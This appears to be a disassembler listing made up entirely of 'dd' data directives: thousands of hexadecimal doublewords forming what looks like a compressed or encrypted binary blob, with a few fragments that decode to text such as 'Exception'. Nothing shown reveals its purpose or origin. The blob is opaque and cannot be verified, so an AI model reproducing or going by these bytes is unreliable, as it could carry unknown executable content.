		dd 2C7C24A1h, 993100BCh, 78E4BD1Dh, 2F853DA6h, 2484A924h
		dd 0DA0B0904h, 0D28C9C90h, 9271B713h, 3580B430h, 124494D0h
		dd 2BE8C208h, 1C81F904h, 5C00CA57h, 0BB314DC2h,	105380B0h
		dd 0AE188828h, 738EA9DEh, 0DAFBB400h, 77A50BEDh, 0EBC6124Fh
		dd 7958F412h, 0EF11048Ch, 0F2270FA3h, 9F7C058h,	14890EFh
		dd 6563A5A7h, 142FB462h
		dd 0F9E204E3h, 0F442BF3Fh, 3488348Eh, 4481EAC2h, 211E00A0h
		dd 23E992E8h, 3A00FB5Bh, 4EBD69D7h, 7DA69894h, 504D104Fh
		dd 0D0AC4167h, 310AE137h, 881DF033h, 444A8C2Ch,	0DC60BA13h
		dd 23F83576h, 0D5117761h, 3500D848h, 98F11546h,	0AA07ABFDh
		dd 34CFB69h, 0DD7CAD01h, 4A780070h, 43849DD9h, 6FC160D0h
		dd 13502291h, 60848DEAh, 0D8869C80h, 0E188B839h, 7758EC34h
		dd 0BB4F92h, 15988A14h,	5C2C4E72h, 29B504ACh, 7924B880h
		dd 40E857DCh, 21888F84h, 0F315839Bh, 4C560934h,	271420F8h
		dd 2CE3C248h, 0AC320A7h, 1DE8491Eh, 7CC02578h, 0B4B855C5h
		dd 0B331D600h, 9F88C721h, 85BF13A5h, 609089E6h,	1C406C80h
		dd 0AF9344BDh, 0EBB3400Ah, 9808D026h, 0A9FEC02Eh, 7A000D21h
		dd 5B54FD05h, 0D3590A4Ch, 5C800470h, 7A14137h, 8838C4C3h
		dd 41E433B3h, 0BF218074h, 6CEC1C38h, 0E2E8078Ch, 0D1879DADh
		dd 2AF64247h, 118C8414h, 3474E7CBh, 80F92EA5h, 15DB86C4h
		dd 4D5FA0A0h, 0C0798180h, 2E6DCD59h, 31FA4B8Ch,	0A50121FEh
		dd 128F5DEFh, 2F3A7B79h, 9622310h, 1E87D5A7h, 58AE50C3h
		dd 2C018BDCh, 0A0A68259h, 2840ABE7h, 2A31679h, 35E98B06h
		dd 14C49888h, 14A33E0h,	94284007h, 0E5E712C8h, 0EA0728Ch
		dd 609F962Ah, 1A140F90h, 2B97D59h, 0CF378250h, 0F260DD89h
		dd 60B95588h, 7DFD7604h, 0A2C64882h, 0E0671AE8h, 0B6BE2FD8h
		dd 60996B8h, 70C2FBB1h,	5477F914h, 0D8C4018h, 9BFB0F8Ch
		dd 0E7D0F36Dh, 0AC9BE330h, 0A040088h, 63FED450h, 814A234Ch
		dd 0C258D044h, 4891F4F4h, 0F103700Dh, 6A2AC8A5h, 7FE85181h
		dd 392053F4h, 8912C359h, 0A8C8EB4Ch, 4121C319h,	3690C351h
		dd 750B8BCh, 0B7000F88h, 9195FFD2h, 0C060E1Ch, 29C19D31h
		dd 8513890Ch, 9303F011h, 0C18DCA8Bh, 1099EF94h,	18558050h
		dd 23C3725Dh, 15116C89h, 0C3554500h, 0D78B39D9h, 0F5BD010Ch
		dd 42FF6834h, 8D8906B5h, 19191A69h, 0C0FD195h, 16CDD88Bh
		dd 33914CA0h, 0BE90CC6h, 6D0D0061h, 0F4466F97h,	1199556h
		dd 2B437F5h, 0BA665D83h, 81A09927h, 0E4028FD9h,	65BD8B50h
		dd 0E844B131h, 0EC5900D7h, 448AE17Bh, 0DE3A831Eh, 202A004Dh
		dd 0F1017938h, 8B660A4Eh, 4C585FC8h, 2050A9C8h,	59D02558h
		dd 8C16E8DBh, 3BA0C10Ch, 53E1CEFCh, 1DA225EFh, 0C5B730h
		dd 8A54503Bh, 75D8BE59h, 95BD890Dh, 29F4AC09h, 1B3D299Dh
		dd 20BF4089h, 0A52E8BCh, 28563A74h, 80104285h, 0BD0AFDDDh
		dd 117F2545h, 0C2F9321Dh, 0B50120D4h, 79D01735h, 0AEF71C5h
		dd 0ADCB577Ch, 1D21851Bh, 8EF4E22h, 2C69950Bh, 4988099Fh
		dd 0D4BA512Ah, 4E04540Bh, 19299D89h, 93E358Eh, 2F39F0C5h
		dd 25813CA1h, 887E4E41h, 3085C71Ch, 0D9E3ED16h,	7F877719h
		dd 1814A3C0h, 69672FADh, 0AE0087B0h, 0E556C488h, 0A05FFCA0h
		dd 42D99592h, 0A59C991Dh, 2966B0C2h, 24F9228Dh,	0AA158529h
		dd 8A9BD07h, 0B291A2CAh, 0F4820F1Eh, 8CED0E87h,	893F4011h
		dd 3B930952h, 0A455629h, 42D1E580h, 238A6A4Eh, 20198432h
		dd 34ADBD0Bh, 6A046880h, 6CE2201h, 9877C6F2h, 0FC2DA961h
		dd 5834F4B5h, 0AD1AC4CEh, 0E9030EF1h, 11570909h, 5A18524Ah
		dd 8923C372h, 171154h, 0ACC35242h, 90291B37h, 0BCF862E4h
		dd 0F4BD1545h, 8F475680h, 2C013Ah, 0FB06384h, 0C085D1BFh
		dd 1306CDEBh, 93F0D781h, 1B8045D0h, 0D4FB82BDh,	41442686h
		dd 0C0E97B50h, 6F92AF0Dh, 0CA7A744Bh, 0D4BBE20Fh, 0DD586041h
		dd 775FBA9Fh, 93B99AE9h, 8BB67810h, 89531500h, 0A7D01BE0h
		dd 0BD830872h, 9D320F4Dh, 0B529201Eh, 1AD90361h, 11C12C26h
		dd 104E8411h, 40F1B589h, 3E1CB902h, 0E32864CDh,	0C88B464Ch
		dd 0C35FC357h, 4A7C8991h, 57470056h, 9E6C6BC3h,	0EB450289h
		dd 1B86A754h, 0EF72040h, 2AE94815h, 0C81B5085h,	3F4DEFF1h
		dd 0C80C2026h, 0B69E3186h, 30950D2h, 0C23F33D3h, 532E49FEh
		dd 0C3725B18h, 0C05C8921h, 98C35343h, 0A589BE05h, 0A428EA8Ah
		dd 1374484h, 19ED9D14h,	0F1CF1049h, 8802C150h, 0E950EF8Ah
		dd 0A91E819h, 8BDE2Fh, 4095DF8Fh, 0A000D269h, 0B1D03522h
		dd 0B0564F06h, 0E392046h, 62595F32h, 0E28120B8h, 33124069h
		dd 0FE20E954h, 9E41F5Eh, 56392E53h, 1361420Ah, 0D11C04C8h
		dd 0F2072109h, 0E5EBCE07h, 8ECA32Ah, 50121789h,	2501A704h
		dd 858B6000h, 489A23C1h, 2DB9B518h, 1383610Ch, 1F6010C4h
		dd 0BD06A117h, 22218E1h, 6112C980h, 0CB47C08Bh,	54601744h
		dd 5D62DE53h, 440D75C4h, 0AB21755Ah, 1109DBC9h,	60FC512h
		dd 53501974h, 0D3B81876h, 9D859907h, 0EA8D1D40h, 83A8506Ch
		dd 5BD315FFh, 17882258h, 5BE22021h, 418632A5h, 0D520FECFh
		dd 5180D324h, 813F8746h, 6F815B48h, 20616572h, 48AE028h
		dd 5E615691h, 7489C8C3h, 46C0A891h, 77C356h, 0D1576EE1h
		dd 408328F0h, 8C849749h, 43E60E50h, 0A0155F1h, 0CE740F5h
		dd 1185C616h, 68449F40h, 58A3184Fh, 0F5241896h,	3BAD6277h
		dd 8BD024C8h, 542CD856h, 43A431C7h, 0ABB84A8Ah,	0A1930874h
		dd 0B865EB19h, 0CADE5B4Ah, 808B12E9h, 81E1E08Fh, 7F7BD9DBh
		dd 44D4D004h, 0A4C02830h, 0A195EF25h, 4923CED6h, 93114A2h
		dd 2A06DA42h, 915D12D3h, 25F59589h, 0A23C2352h,	4AB1301Ch
		dd 855F1D01h, 0E4ECA7CAh, 8865B770h, 3BA8FF25h,	3832ABDh
		dd 0F883D0CCh, 2DA30F05h, 12A02548h, 0DE08C7FFh, 1B011A02h
		dd 34F99749h, 2B9652Ah,	77E93186h, 0BDFCA027h, 6722606Dh
		dd 0D5C6E781h, 0B289614Ch, 0D680223Dh, 9045DF50h, 12B98843h
		dd 3249E981h, 58305075h, 5389E4C3h, 40818F44h, 0E010C350h
		dd 6F00880Fh, 0E5BB5981h, 32398EB9h, 72744B98h,	7D2F4429h
		dd 0E7860071h, 1C5BD5A1h, 0FB0D6668h, 23048E0Fh, 5D65BAE0h
		dd 8542C61Fh, 2C38C216h, 568817A0h, 59CC2C8Ah, 41AC5B9Eh
		dd 16B19533h, 19C1F79Ah, 0D4D6160h, 85A217CCh, 0ECB91366h
		dd 0B5174251h, 736D28BDh, 217FD464h, 85537AD4h,	62EF3170h
		dd 2A695C61h, 83B8F506h, 2198A89h, 0A38E3F68h, 239E3A12h
		dd 29640415h, 15A8356h,	805F018Ch, 50BE1DC1h, 8108FB30h
		dd 0D312F4DFh, 0D8124F49h, 42CB49D5h, 0B6C01DC8h, 4232BF7h
		dd 0AC7E0AF0h, 3158E02Ah, 1C487B4Ah, 0C71BA40Ch, 27A9FF31h
		dd 7329F149h, 3015F2A9h, 293D2C66h, 534D985h, 1711BD31h
		dd 810F6C07h, 0E9BD1909h, 760F00FFh, 644CED89h,	0EF00A9FCh
		dd 52338349h, 0A96D0C4h, 0F18AA040h, 0F9BD82A0h, 0B3710E13h
		dd 58C4387h, 0EC4E8880h, 0D1F00BDh, 169AD9BCh, 60EC8304h
		dd 15B5F5A0h, 61378AB2h, 84C9505Ah, 10C1DF42h, 1DB507D9h
		dd 6E06C11Ah, 24FA362Eh, 1088E57h, 505F0920h, 0B1CA5087h
		dd 4303E59Dh, 81E00120h, 0FD03A3DEh, 8F0F6D3Fh,	0BAAF0705h
		dd 0BDD4CADAh, 4CEB732Bh, 40BD3DD4h, 4FE80DB9h,	60266620h
		dd 464B593h, 694009FBh,	0FC473DEEh, 0B048A202h,	84890F1Eh
		dd 9DC23327h, 6859011Fh, 666EB1FFh, 0A93585B5h,	54C8A322h
		dd 121150A4h, 0B0DE918h, 40E4A51Dh, 0BF8A13Dh, 85DB7C6Fh
		dd 940492BBh, 0CFE4F086h, 0E92F40BDh, 6F3D4F6Ah, 1B4674h
		dd 9EF1B1B5h, 7E0DF74h,	95A5111h, 90B74D95h, 0A0535C78h
		dd 593016B2h, 0E6A050C8h, 0D0D90481h, 0C16DB55Bh, 10A490Bh
		dd 0FEE16661h, 3DF2F857h
		dd 7F7BC41Dh, 0AA4BB8D9h, 64BA679Fh, 82B26019h,	55CC01FAh
		dd 0AABF6617h, 2D0D31E8h, 0A86038BBh, 0A933DDF9h, 91F89528h
		dd 0F22215B6h, 6027182Ch, 5FE935D7h, 0A45E0A4h,	78E479ECh
		dd 0CF3104C5h, 828A321Dh, 911F2DFEh, 69298117h,	84442079h
		dd 0D5802500h, 91870F62h, 2EDB2048h, 4953088Dh,	0BFB589C8h
		dd 0EAEC709Ch, 6A3040C9h, 78FD1048h, 0F25A1D48h, 85262C27h
		dd 89481BD5h, 938090E9h, 0C0243EB8h, 2E08A100h,	3A0E8760h
		dd 0FDA84799h, 1C33E212h, 0E2092D62h, 5021C952h, 21F859h
		dd 2CA1CEA7h, 0DDA551BAh, 896A447Eh, 0F1AC26D7h, 0D159801Ch
		dd 4CF13620h, 492AC0Ah,	101B750Dh, 4551480h, 15E9260Eh
		dd 0B9B47840h, 65E5055Dh, 65DA9C4Ch, 80FADBD6h,	1909CC8Eh
		dd 73E7E5Ah, 0F27A76Bh,	361AAB80h, 1895290Ah, 2D0DBCFBh
		dd 25270191h, 168201E8h, 0B70F0113h, 865C62D6h,	10B07E9h
		dd 16A8DBAAh, 497AA0BAh, 259F2063h, 0A5300448h,	8DC0F49Bh
		dd 9669DC38h, 0F6849F4Bh, 0A6084A08h, 9FC39E1Fh, 0A51C6CBFh
		dd 41DBD04h, 47E28068h,	8F1C9519h, 902AA503h, 0F87099h
		dd 8FFD2DF2h, 0B50946F0h, 5E136928h, 0FF180890h, 0C031682Bh
		dd 63370ABAh, 2E800B88h, 79742119h, 28E61816h, 98981CD9h
		dd 79988274h, 0E256011Ah, 0FC578211h, 1004208h,	68AE5364h
		dd 1499D798h, 8AFFF883h, 76056710h, 0FA8B56h, 0FF5A50FAh
		dd 0BCFB1385h, 1B46763Eh, 15C92600h, 0DC6535F9h, 4002844Ch
		dd 7B940229h, 0B7830418h, 1CDE90CFh, 75B243Bh, 696D9529h
		dd 20F514C9h, 239C0115h, 501E8E43h, 4581A62Ah, 101DF42Ch
		dd 0FF482F9Ch, 47D1B709h, 7FD8C48Ah, 0B978D821h, 698616DDh
		dd 22DD1C3Dh, 0C17AFAF6h, 608E2661h, 81DCE480h,	12ED72E3h
		dd 89615A66h, 36F647Ah,	0A80E3D93h, 5F3BD3D0h, 0F11C1B23h
		dd 8ED1CD00h, 1CFEDFD2h, 250A860Fh, 0FBE3187Dh,	4FBB12DBh
		dd 0D71A0949h, 4E918A4Eh, 2B181C71h, 0ADD1EA00h, 45D7A44Ch
		dd 4CD39029h, 417B91CFh, 84E8470Dh, 4C7EA3F8h, 4A082258h
		dd 5F5A3252h, 7390A1E6h, 16330644h, 3C341195h, 50881E4Dh
		dd 0FCA205BAh, 995A2286h, 0ED34604Eh, 20382141h, 3BC1818Eh
		dd 6625C787h, 5515844h,	55A337A5h, 0B3FAADA0h, 8CA83C47h
		dd 31511C60h, 0AFA36C9Dh, 53923289h, 0E4E0C6CDh, 25AB3DDh
		dd 1166EE30h, 9440D68Bh, 64D31451h, 40605462h, 766CB97h
		dd 619FCAB8h, 0C4FDF4C7h, 0A9E2583h, 349BD7B9h,	209B2137h
		dd 0EC466802h, 0E32E8C15h, 851136B3h, 410BA040h, 869A02F3h
		dd 0F53C427Ah, 7F9D859h, 6AD313C9h, 11509DD9h, 82029618h
		dd 59368A6Bh, 6EA6004Ch, 1A42630Eh, 357FB200h, 0C154BD0Bh
		dd 3B2D14F8h, 8D10FE38h, 31591F07h, 602429D6h, 0EC8FCFC4h
		dd 8AC915C8h, 0B5127719h, 8F318CA5h, 509B53A6h,	98524EDh
		dd 72528D29h, 8E227DACh, 0A288F009h, 0E8DB694Ah, 0F401E922h
		dd 1F49C398h, 8D0B2052h, 5F5AFCA8h, 3B649391h, 8928C55h
		dd 81805D46h, 7AE73FD1h, 4BE92E3Dh, 0D314FCA8h,	128DF58Ah
		dd 21CB0335h, 14F72A43h, 0D96C00Eh, 89905067h, 47EB1555h
		dd 78128983h, 0B709563h, 0B021B425h, 9D2811Dh, 2B58522Ah
		dd 0CF1FD62Bh, 90801991h, 82846DE8h, 0E0208C4Bh, 7859E097h
		dd 88130054h, 8EDDC133h, 3960C86h, 644A45EBh, 8EBB6016h
		dd 24889814h, 52631E79h, 508BE200h, 0E8224274h,	87DB000Ch
		dd 18016EC3h, 0D4091B14h, 432A2DE1h, 69469AC3h,	5D221D5Ch
		dd 633A85D6h, 74CF515Ah, 5947D025h, 0F63894E9h,	0B52989FFh
		dd 84D718Dh, 428FB76h, 3942C545h, 5F97466Dh, 885712B9h
		dd 563D160Eh, 93A28057h, 15ECE685h, 5A4E1E8Eh, 5F9E5ECDh
		dd 0B490C8Bh, 0BB03BA38h, 0E931FF27h, 82E3C441h, 993019B2h
		dd 161F09C0h, 0FA808BF7h, 2BB58DD6h, 2484F352h,	960B63D7h
		dd 0AD7868A1h, 0D0CBCC22h, 7CCEF834h, 45BD8E9h,	0CEB40007h
		dd 3DE3B157h, 0D605F3EAh, 6C1DD919h, 2E5D8004h,	0CE805200h
		dd 8B3B5933h, 0CD9AD0F3h, 4B3DE394h, 80243230h,	0D1873889h
		dd 4A5DED14h, 1DE82A94h, 6D8C008Ch, 7BABD140h, 6A12A256h
		dd 0B6025193h, 0E85A31CBh, 923595CDh, 4E85F439h, 31C57D1h
		dd 5A7FB8D2h, 0C0810A04h, 7681A8C4h, 269C32EDh,	24776961h
		dd 22750B7Ch, 8679EEAh,	37601C44h, 0D74B02Dh, 7EF37209h
		dd 0C41B47DBh, 0D9217FD9h, 0C59E037Ah, 0BDEF0A1Ah, 267D08D1h
		dd 805014EFh, 488C14E8h, 119422Eh, 21D84F33h, 30AC5AFh
		dd 7D8C2A53h, 0FF03FEDAh, 5043A1CBh, 200661D7h,	0C10FB0Fh
		dd 30C0945Bh, 81BD2992h, 85D91C65h, 0E109165Fh,	0D7CFE92Eh
		dd 0DF2CDA3Ch, 1FDD0B74h, 0C5DFD24Bh, 6CB8C8E8h, 1CB0583Fh
		dd 83C7CE4Dh, 0C650F54Eh, 162122D4h, 51208DF8h,	5B33B61Ah
		dd 6B349DE0h, 685F8461h, 32825952h, 0F45950h, 185F7AB4h
		dd 7F17A312h, 42CE6AFCh, 45C71888h, 0AD9E68D1h,	9DDA40B1h
		dd 1ABE0717h, 0C474C32Dh, 1490453h, 0D9810032h,	1EE51C65h
		dd 0A2E85367h, 33BF1100h, 87B0A7EEh, 0A61B075Eh, 4BDC7FC3h
		dd 8896307h, 2596189h, 813E199h, 99A53BB0h, 0EB90620Bh
		dd 0A0121B90h, 0B14E1A15h, 0B902B0BDh, 16D3820Fh, 8D93C56Ch
		dd 2683878h, 583F0E72h,	0F5795060h, 8E266A00h, 3AAA9399h
		dd 0E18A5C92h, 28AEF2B8h, 0E284952Fh, 3F5D861h,	86F10CD2h
		dd 0A76E919h, 3D61E6E0h, 313F1004h, 990F99Dh, 0B918408Bh
		dd 0EF1C8095h, 0F573E162h, 46AA595Ch, 2F0910DBh, 6985C709h
		dd 5E1F5F2Dh, 63C2801Eh, 9A5FE196h, 7904B69Ch, 95311028h
		dd 4EB0B255h, 0FEB903Dh, 165D083h, 4EE4BDA9h, 2B1F45E9h
		dd 626AC736h, 983D5F91h, 4CAE22A4h, 0E30D2457h,	0E0715902h
		dd 0D4D78180h, 88614CCDh, 0DC9CF88Bh, 7943B162h, 40421C5Bh
		dd 0DFAD6283h, 0FE001D63h, 303DC193h, 0B224574Bh, 5882D89h
		dd 0E0DFF910h, 0C784EB4Fh, 13147E86h, 3F52A3D7h, 0BC611DCh
		dd 0B42C6F8h, 29AF62E4h, 61A3AE1h, 78FE0DCAh, 7D9241F6h
		dd 155B895h, 66F89363h,	3CFF53BAh, 0EE7F8BF4h, 13A40009h
		dd 860A28F1h, 54043040h, 4E82FE2Ah, 24BD5A81h, 4302BF18h
		dd 0E96059ADh, 3FEA170h, 0A138058Dh, 69CE5131h,	222F721Eh
		dd 0DC1C9E8Ch, 0E40A5600h, 7401B29Ch, 800F2E78h, 0FF184931h
		dd 0C200B7B6h, 0C5D1F2F4h, 9BD655h, 0B27C78ECh,	0ED04E821h
		dd 47054994h, 88085FFFh, 7E3D1101h, 0C4BFD107h,	0A3CE5DB1h
		dd 4E47E9C9h, 812DDBE1h, 85D34A47h, 3D10712Ah, 8280052Ah
		dd 1CE9489Ah, 66FFF122h, 1A1D0833h, 4B92A31h, 354EE662h
		dd 79D80459h, 0A8F0AD23h, 0DDE48FDDh, 0CA81002Fh, 1B558C60h
		dd 338D5B0Fh, 8C5EF929h, 0AD04546Eh, 8CB3E298h,	0AF00235Fh
		dd 0F42D930Ah, 30209F7h, 0CD87F5D1h, 0DEBC28E9h, 2927C0B4h
		dd 98C23187h, 85135E55h, 0B6078C19h, 7783ED01h,	35304701h
		dd 0CA0B8A42h, 0E1368086h, 9FE9D063h, 3CD8529h,	5695CFC1h
		dd 8EE75089h, 1B20B77Ah, 0A05A2F7h, 40160585h, 1A717F04h
		dd 5F80813h, 67EFBF81h,	5249472Ch, 6AC63368h, 0F92F5834h
		dd 0B91911Bh, 824FED63h, 9F0A1FEBh, 32040716h, 66000168h
		dd 0C3F6DB8Ch, 34780448h, 3E81902h, 526856C0h, 9C47A8B8h
		dd 8E8E6A8Bh, 649B100Ch, 0BE7281DFh, 402D287Eh,	0AC9B6847h
		dd 0CCEC1823h, 0F0528B04h
		dd 684F071Eh, 707F2661h, 0E532E110h, 7D7A730Ch,	286A1853h
		dd 0C0851856h, 1757553h, 64986841h, 2A5ADB87h, 2C97D064h
		dd 0A4681C4Ch, 208095E7h, 7E9D8BA0h, 45BF18Bh, 832ACC28h
		dd 1558E154h, 5D035AC7h, 0C4389A0h, 26C233FAh, 10E1699h
		dd 722A7985h, 68029058h, 0B5653453h, 17109125h,	6845A16Dh
		dd 40A5F7F0h, 30433192h, 0AB026799h, 750A2E0Ch,	0C06D6632h
		dd 524EA1A3h, 71EB0C32h, 2A35344Bh, 45F45987h, 778F7FFCh
		dd 0F52711A9h, 0B0C7D5E9h, 6427D1E7h, 630EDDFFh, 0CE06F16h
		dd 506C14CBh, 896411F8h, 80E69325h, 8C7DA2A0h, 0ED044ED2h
		dd 0E2540935h, 0BB2B6F34h, 795F4h, 0C794F209h, 0F0C17DBh
		dd 6D7BF800h, 0DC237745h, 8A8D186Ah, 0D794C98h,	49A76982h
		dd 1AC8534Eh, 2D9CF5C0h, 70FB2777h, 1DBA1CC3h, 80CFC70Eh
		dd 0D6FF9782h, 5F124493h, 0FB84FEDCh, 48C93FE9h, 2D09D3E8h
		dd 0E76049BDh, 0D6F4DB33h, 6059C0E8h, 106999CAh, 0F8406101h
		dd 0B25073Fh, 97FAE464h, 425D1F4h, 0CEF81594h, 8C1BECh
		dd 63FC1642h, 0E30EEEA8h, 0A4B9663Ah, 0D12CDAEBh, 85178408h
		dd 91318D8Bh, 53C8E9C2h, 18DC9D57h, 0C82D5D8Eh,	8D625123h
		dd 3332A04h, 0A481C70Ch, 3FF2133h, 28B8D383h, 328C0415h
		dd 0CBC8BC3h, 27DDE88h,	99ED815Dh, 838B7848h, 84821BA2h
		dd 89052F32h, 4F5D0C4Ch, 698D2729h, 2E59CB91h, 5A8FED23h
		dd 0CD252351h, 0A8F193C8h, 604F5C01h, 0E7A2D59Eh, 4729E698h
		dd 0D202815Fh, 28CF4299h, 3BB64E50h, 15CF8509h,	0D3D49B59h
		dd 2497D104h, 5FA9B9h, 55D704B8h, 640548h, 0BB0DF781h
		dd 8685D465h, 0B640BA0Eh, 0EA461F34h, 770C5FE8h, 68FB01EDh
		dd 75564D58h, 278A7C0Ah, 0A78DE62Fh, 0A0F5251Dh, 5D50FA9Fh
		dd 9B2703B6h, 693FE52Fh, 0F44354B0h, 1B053D3Ch,	0F4F68CC9h
		dd 3B6AE6F1h, 11B237Ch,	37A8C223h, 0A984D027h, 0D5958909h
		dd 421D4D31h, 0C510043Dh, 0D3428415h, 742038F4h, 0B65CA546h
		dd 8C1CBCh, 0F1923137h,	0DEE6C739h, 1E12FA5Ah, 0FB0A0319h
		dd 0DA201D7Ah, 0EEE4D059h, 310597DCh, 4887392Eh, 0DC010Ah
		dd 65637845h, 6F697470h, 49206E1Ch, 728566DDh, 0C1C616Dh
		dd 656C5007h, 2C317397h, 74036320h, 3A7E5ECFh, 7CFC68BEh
		dd 7D667C73h, 12726777h, 0E776C764h, 9F70D76Ch,	7766736Fh
		dd 1D8B3469h, 266C7636h, 676E361Ch, 733B4067h, 7E54AE2Eh
		dd 0BE6BBE3Eh, 9B75BD79h, 0FD040D0Ah, 70280131h, 6E738098h
		dd 521D5443h, 0EC7F2B4Ch, 0A36978EBh, 6E64CB46h, 7B98187Ah
		dd 8A87970h, 62F2696Ch,	64DA8AFFh, 42203629h, 0A6DF5668h
		dd 0EF3DEF4Fh, 431E3925h, 6B63E882h, 0FA44E49h,	554F7064h
		dd 501F8E54h, 1DE86F72h, 3BB40F85h, 0F3100F64h,	0F3D68B6h
		dd 0F21E1672h, 478EA350h, 16481E18h, 3F1BD0Bh, 12DCF18h
		dd 8B9A4082h, 6410B7A3h, 0E98AA2F5h, 5A7080C3h,	2427D89Bh
		dd 11503008h, 7A21219h,	16CA95C4h, 872C2B09h, 5E18B1Dh
		dd 280E0A3Dh, 11871625h, 8722AC1Bh, 2AAC6811h, 0AC861187h
		dd 6F118726h, 11871AACh, 871EAC77h, 18A97E10h, 940CD0Ch
		dd 50A258E9h, 1CA5BD82h, 95543A46h, 0D42790Dh, 4D118511h
		dd 0E17204Fh, 1CF8C281h, 174FA312h, 0A888958Dh,	28346052h
		dd 3BD4C340h, 2916849Eh, 0D06E5DD7h, 8B8A55C8h,	0C38B139Dh
		dd 9A25E24Ch, 50113165h, 90871608h, 79228854h, 87260858h
		dd 1A885C90h, 0AA4FDCA9h, 68D1AF0Dh, 5ACD1414h,	0C1E0C99h
		dd 2643861Ah, 16902221h, 0AA812C8h, 8A1C0C49h, 71410744h
		dd 2C7A0E25h, 6A32247Eh, 962E2440h, 0EF039C19h,	92660109h
		dd 40C18B25h, 0BD39E6D2h, 820FD782h, 0B94192DEh, 373F839Ah
		dd 94126FA9h, 80BCB878h, 3CA38994h, 2E541C24h, 0D0CA4034h
		dd 733332BCh, 5A0CFB17h, 867A5F3Fh, 0F0D67C9Eh,	0C6C98504h
		dd 0CA8581AAh, 84A52CE9h, 0B30F8937h, 346C36Bh,	0BA66B891h
		dd 0F3214D2h, 0BECFAB81h, 0EC654749h, 0DBB36516h, 8D3014E2h
		dd 4072BE60h, 7CFFCC44h, 0CE8BCB01h, 0B2E96158h, 60051C3Ch
		dd 0FCF0BF0Fh, 0CC479FB2h, 91C31B0Dh, 158D88B7h, 0D88509A5h
		dd 59516162h, 0BF9D5300h, 0E6FF92Fh, 88826828h,	6E2EEE20h
		dd 3895F560h, 0C0DF8C5Ah, 0F766D26Ch, 0B69204C7h, 0E48B6D6Bh
		dd 0B2AD001Eh, 6CE3528h, 911E2D1Eh, 50E615C5h, 6EF7A360h
		dd 3A46008Dh, 9B5A6402h, 451727D0h, 0DBA25479h,	6F36438Dh
		dd 1A232B3Ah, 0EB0F9500h, 64CD61D6h, 530BD828h,	1940D4CDh
		dd 32C7C1CEh, 50D503E9h, 19BFAA40h, 0F7FCA565h,	0FF2B8505h
		dd 19F2A1B2h, 49EF730h,	822F22A2h, 0E56281F9h, 0B6F82036h
		dd 0E893F614h, 7C0C004Dh, 561D4B46h, 4127014Ch,	76BED2B8h
		dd 3B79C1BBh, 0B7B9BD01h, 982A93E2h, 839ED457h,	11561552h
		dd 0FFE5961Ah, 649CF492h, 4FEFA6AEh, 0AF12E4C4h, 0F4D748B8h
		dd 95ADC45Bh, 0F8FF68E0h, 0FE6C05CBh, 6EEB01CDh, 0B6BB0064h
		dd 0EFD92B85h, 80600479h, 8C61F1D8h, 205FB99h, 4F5E135Bh
		dd 16C425BCh, 5B27E6BFh, 870588h, 250D7ECDh, 83CE71Bh
		dd 3602E34Eh, 55C00BF5h, 8F090A1Ah, 0E1004EF1h,	73436134h
		dd 0A963010Bh, 0D375DC04h, 0B526E83Eh, 6186CE16h, 0D140D81Dh
		dd 0BD8D1AF1h, 0F871409Bh, 0EC01B82Bh, 938FF0h,	52E8740h
		dd 0FFE88A22h, 9120E74Eh, 69A611h, 91AAD0C8h, 0DE5B9F44h
		dd 0FF62D500h, 0F2722432h, 9574FAFh, 4AE61057h,	40B60F02h
		dd 4C8FE01h, 126A5DB0h,	825F0227h, 41E6B651h, 0B910055Dh
		dd 6626A75Ch, 4674D860h, 57CF0019h, 480798B8h, 13699E8h
		dd 0F93FF519h, 47A5C4DFh, 0DE7DD41Dh, 1A94C704h, 0C127B4FCh
		dd 80BB2057h, 78FD1DCh,	615FF924h, 0CB242C5Ah, 622EB22Dh
		dd 0F0238204h, 6071D498h, 0EAE6BB61h, 5925843Bh, 0F02DED91h
		dd 8317E2ADh, 3AD580F5h, 0F66E764Bh, 49004E4Ch,	38F06F1h
		dd 0B60B66E8h, 0C48B0FBFh, 4BF27764h, 13ABA2C2h, 0BA00AC33h
		dd 1A4C3B91h, 0A9F9501Ch, 0AB5F58CAh, 81B3EB01h, 825CBFC7h
		dd 0FD68C843h, 27D916h,	0CEC9815Eh, 421602C6h, 0C47137FFh
		dd 58C5D7BBh, 41C82E9Fh, 0DBDEB7F0h, 0F105744Eh, 0EC16C360h
		dd 0C8356D12h, 608B073Eh, 5AE502F9h, 0C0BD40B7h, 7A691814h
		dd 9D33C73h, 789DE1Fh, 0D23CEB41h, 0EFF06C28h, 240A73FAh
		dd 609F5275h, 31990C49h, 803528C0h, 0D6C6B0h, 0C2F92816h
		dd 0F8F4296h, 0F6F05A66h, 8EBB0141h, 8308A75Eh,	72E66CEEh
		dd 1F90018Ah, 532FE913h, 30B38829h, 0B9939F90h,	0FDE9D30Bh
		dd 0CD2E39E0h, 0C21D1F00h, 98A89D52h, 72A30017h, 4B396DE7h
		dd 88787CCEh, 33638C02h, 975AB7F7h, 0E3D80604h,	970110B5h
		dd 0CB1F3F2Ch, 21BC5B8Fh, 8401B000h, 16E92003h,	103C953Eh
		dd 0C7EB18Eh, 0AF35503Bh, 3F1F848h, 38282096h, 5BF24143h
		dd 503A5098h, 438E3418h, 28DEE21h, 3D647EC3h, 1AE38976h
		dd 63AC184Ch, 6DDDB39h,	5BE97641h, 1D181823h, 0E039C78Ch
		dd 514C6029h, 0A01F136Ah, 27EB7400h, 0A6FE3417h, 0F8EF0009h
		dd 0F36CB4CAh, 7C612BE7h, 3C6E2A91h, 2C809857h,	7CE75D0h
		dd 0DEBD50A1h, 6A2331ADh, 1C219DB9h, 0ABF06BC0h, 670DFE76h
		dd 406719E0h, 59AFCB4Ch, 5F2DAD00h, 0A0A73D69h,	0B1F0FD5Bh
		dd 36BE0023h, 92A62653h, 5D066F4Bh, 5A5F1F6Eh, 56550008h
		dd 1C932389h, 9A65ADF4h
		dd 4C70AE6Ah, 0AB7F6FDh, 4BEA3222h, 469E44E0h, 76486326h
		dd 0F00B64AEh, 8A0308D6h, 0A6AC3E9Dh, 0C720025h, 6329E925h
		dd 0A01C3906h, 648CAD7h, 5269FB5Ah, 0E084206Dh,	1F172C0Eh
		dd 30E383EFh, 0B8181DE7h, 216A195Eh, 8EDEE063h,	91716D60h
		dd 3CADD1BDh, 0B6313D68h, 0D01C9F48h, 0F43BCB3Ch, 5071E04Ch
		dd 1D5B7177h, 20466B22h, 8BF4FC07h, 313739BCh, 2FB3B6B1h
		dd 6C87C180h, 0C4FE55EFh, 0E7A4F407h, 9C4AAC4Ch, 6D38B611h
		dd 2A95F8BEh, 6E1990B0h, 15B810E1h, 2CA41000h, 26C6BA7h
